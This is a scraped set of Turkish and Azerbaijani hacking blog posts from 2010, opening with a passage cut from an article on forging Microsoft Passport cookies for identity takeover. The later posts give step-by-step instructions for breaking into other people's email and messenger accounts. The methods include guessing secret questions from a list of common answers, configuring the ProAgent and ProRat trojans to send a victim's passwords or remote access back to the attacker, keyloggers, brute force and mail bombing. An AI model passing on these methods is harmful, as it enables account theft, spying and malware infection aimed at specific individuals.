bir adim degil. Cookie`leri yazmak için ayni güvenlik açigindan ve istemci-tarafi script isleminden yararlanacagiz. MSPSec cookie`sini javascript (sunucu-tarafi script dili olarak PHP) kullanarak asagidaki örnekteki gibi yazabiliriz: Yazilim HTTP Set-Cookie basliginda oldugu gibi. Bu örnekteki gibi diger Passport cookie`lerini de yaratabilirsiniz. 3 alan adinin her biri için cookie`ler mevcut oldugunda baskasinin kimligine hiçbir kullanici ismi ve sifre girmeden sahip olunabilir. Buna kisisel bilgileri görüntüleme, degistirme ve depolanmis kredi karti bilgileri ile alisveris yapmak da dahil. Özet: Bu islemler kolay gibi görünse de basarili olmasi için asagidaki sartlarin gerçeklesmesi gerekiyor: 1) Kullanici Passport`tan çikmis olmali (logout). 2) Taklit edici tamamen farkli bir IP adresine sahip olmali. 3) Taklit edici farkli bir browser kullaniyor olmali. HTTP kullanarak %100 güvenli bir mekanizma yapmak çok zor çünkü HTTP Microsoft gibi üretici firmalarin müsterilerine saglamaya çalistigi kolayligi desteklemiyor. Passport`a login olurken 'Sign me in automatically on this computer' seçenegini asla isaretlemeyin. Bu çesitli sitelerde tekrar sifrenizi girmeden otomatik olarak login olmanizi saglayacak olan MSPSec cookie`sini yaratir. Bu cookie ele geçirildiginde kullanici hesabiniz için büyük tehlike yaratir. Passport`a sadece gereksinim duyan sitelere girmeden önce login olun ve ziyaretiniz bittiginde hemen logout yapin. Logout islemi cookie`lerin çogunu yok eder. En önemlisi etkilenen browser sürümlerini kullanmamak. Eger Microsoft Internet Explorer`in etkilenen bir sürümünü kullaniyorsaniz, ve kullanmaya devam etmek istiyorsaniz Microsoft bu açik için bir yama çikardi. Asagidaki adresten bu yamayi çekip kurun: Son Not: Passport mekanizmasinda daha pek çok açik bulunacaktir. Bir baskasinin kullanici hesabini ele geçirmek için Passport kullanilan bir site gibi görünmek belki en kolay yol. Çünkü Passport`un nasil uygulandigi hakkinda bir bilgi gerektirmiyor. Umarim bu yazida bahsedilen saldiri su anki web teknolojisini ve web gelistiricilerin karsilastigi problemleri daha iyi anlamanizi saglamistir.

Hack yollari

Isco — Wed, 18 Aug 2010 12:47:21 GMT

Ilk novbede qeyd edimki Xaker sozunu eshitdiyinizde aqliniza qeyri adi bir insan gelmesin. Sadece fantaziyalardan ve internet imkanlarindan genish istifade eden insanlardir. Elbetdeki her kes xaker ola bilmez chunki bunun uchun mueyyen period kechmelidir. Compyuter haqqinda genish biliye malik olmalidir. Bu defe men size emaillerin, saytlarin, forumlarin, MSN, ICQ, ve internet parollarinin nece xak edilmesi haqqinda kichik melumat vereceyem. Elbetde bu yazilanlari oxuyan kimi MEN ARTIQ XAKEREM, BUTUN EMAILLERI, SAYTLARI, FORUMLARI XAK ELEYE BILEREM sozunu ishletmeyiniz yanlish fikirdi. Bu melumatlar en cox sizin email, sayt, forum xak etmeyinize yox size qarishi tedbiq olunan xakinq novune hazir olmaqiniza komek edecek. Email xak etmeyin muxtelif novleri var, elbetde bu sizin fantaziyaniza uygun olaraq deyishir. En cox istifade olunan xaking novleri: 1) Fake email 2) Troyan 3) Gizli sual 4) Key logger 5) Cookies Kechen dersimizde men size Emailler Fake email Yaniki Turk Dilli vasitesi ile nece xak elemeyi basha salmishdim. Bunlarin icherisinde en genish istifade olunanlari Fake email ve Troyandir.Kechen defe men size email xak elemeyin Fake email formasini basha saldim, bu defe ise size Email ve elecede sayt, forum, MSN, Icq, internet parollarinin xak edilmesini basha salacaqam. Ilk novbede troyan haqqinda size qisa melumat verim.Troyanlar gonderdiyiniz qurbanlarin compyuterde yiqdiqi parollari size gondermek funksiyasini yerine yetirir. Elbetde ilk novbede bu size inanilmaz gele biler amma inaninki bu heqiqetende beledir.Esas mesele troyani gondermek istediyiniz qurdanin compyuterinde aktiv elemekdir. Bu defe men size bu tip xakingde en cox istifade olunan ProAgent troyanini basha salacaqam. Troyani bu saytdan skachat eleye bilersiniz. Daha sonar troyani achin, orda qeyd olunan emaili deyishib oz emailiniz yazin. Hemin proqramda sizing uchun sechenekler verilib, yeni qarshi terefden mehz hansi melumatlarin size gonderilmesini isteyirsiniz. Onlari sechdikden sonar ise gondereceyiniz troyanin hansi formatda olacaqini mueyyen edin.

m@iL hack et

Isco — Wed, 18 Aug 2010 12:45:57 GMT

M@il Hack etmeyin Yolu 0 16, Mar, 2010 | Yazar ismail isco Bu dökümani mail hack konusunda yardim isteyen arkadaslar için yazmis bulunuyorum. Sorulariniza burda cevap bulabilirsiniz. Geçelim konumuza; Mail hack yöntemleri genel olarak 5 baslik altinda toplanir.Bunlar asagida… 1- Gizli soruyu tahmin etme 2- Fake mail 3- Trojan yedirmek 4- Keylogger kullanmak 5- Brute Force Simdi bunlari tek tek açiklayalim; 1- Gizli Soruyu Tahmin Etme Gizli soruyu tahmin etmek için hayalgücünüzü kullanmalisiniz.Ama size benden küçük bi ipucu; 1234 12345 123456 kisinin dogum tarihi örn : 12051976 ya da 1976 gibi kisinin dogum yeri kisinin telefon numarasi 4 büyük takim sanane banane bu cevaplar en çok kullanilan gizli soru cevabidir.Ilk olarak bunlari denemelisiniz. Kisiyi iyi tanirsaniz cevabi %80 bulursunuz. 2- Fake Mail fake mail i hepimiz biliyoruzdur.Bilmeyenler için açiklama yapalim fake mail: yalanci mail anlamina gelir. Fake mail basli basina bir konu burda anlatmayacagim... 3- Trojan yedirmek Bir trojan programi bulalim ilk önce... ProRat tavsiye trojan programimiz... Neyse...Simdi programi yüklüyoruz ve server dosyasi hazirliyoruz.Mail ini hacklemek istediginiz kisiye yolluyorsunuz. Kisi yolladiginiz server.exe yi tiklayinca IP numarasi ve Port u size geliyor.Sizde bunlari yazarak bilg. na girebiliyorsunuz.Bundan sonrasi kendiliginden gelir zaten. 4- Keylogger kullanmak En etkili yöntemlerden biridir.Kisi hakkinda tüm bilgileri ele geçirebilirsiniz. Ama biraz isi bilmek gerekiyor.Seçeceginiz program mail adresine gönderimi desteklemesi gerekir.Yoksa gerekli dosyayi karsi tarafin bilgisayarina yerlestiremezsiniz. 5- Brute Force Brute yöntemi dikkat edilmesi gereken bir yöntemdir.Sifre kirmasi pek kolay olmaz.Aylarca sürebilir.Ama hersey wordlistinize ve hayalgücünüze bagli.Tabi birazda hizli bir net baglantisina sahip olmaniz gerekir. Bilmeyenler için; brute force kendi hazirladiginiz kelimelerle kisinin mail adresinin sifrelerini deneme yanilma yöntemiyle kirmaya çalisverilen addir. Umarim yardimci olabilmisimdir... MaiL Bomber Proqrami Mail bomber programlari anonim mail atarak mail kapasitesini doldurmaya yarar...Bn bu yolla hiç mail hacklemedim....Daha sonra mailin kapasitesi tam olarak dolduktan sonra ( ki bu çok zor) o mail iptal olur..Ve o maili yeniden alabilrsiniz.... MaiL Satin Alma: Gezindigim bi çok sitede söyle mesajlar gördüm " trojan ,keylogger...vb. yemedim ve gizli sorum da çok zor..ama mailim çalindi" ...aslnda bunlari söyleyen kullanici hakli olabilir..mesela diyelim ben xxx************* adinda bi mail açmak istiyorum...ama bu mail baska bi kullanici tarafindan kullaniliyo..e ne yapabilirim?? hack yöntemlerini uygulayabilirim ya da mayni maili 20$ karsiliginda satin alirim...yani sizin elinizde olan maili baska bi kullanici parayla satin aliyor...dolayisiyla mailinizi çaliyor... Alintidir Dikkatli Olun...

HACKER

Isco — Wed, 18 Aug 2010 12:39:40 GMT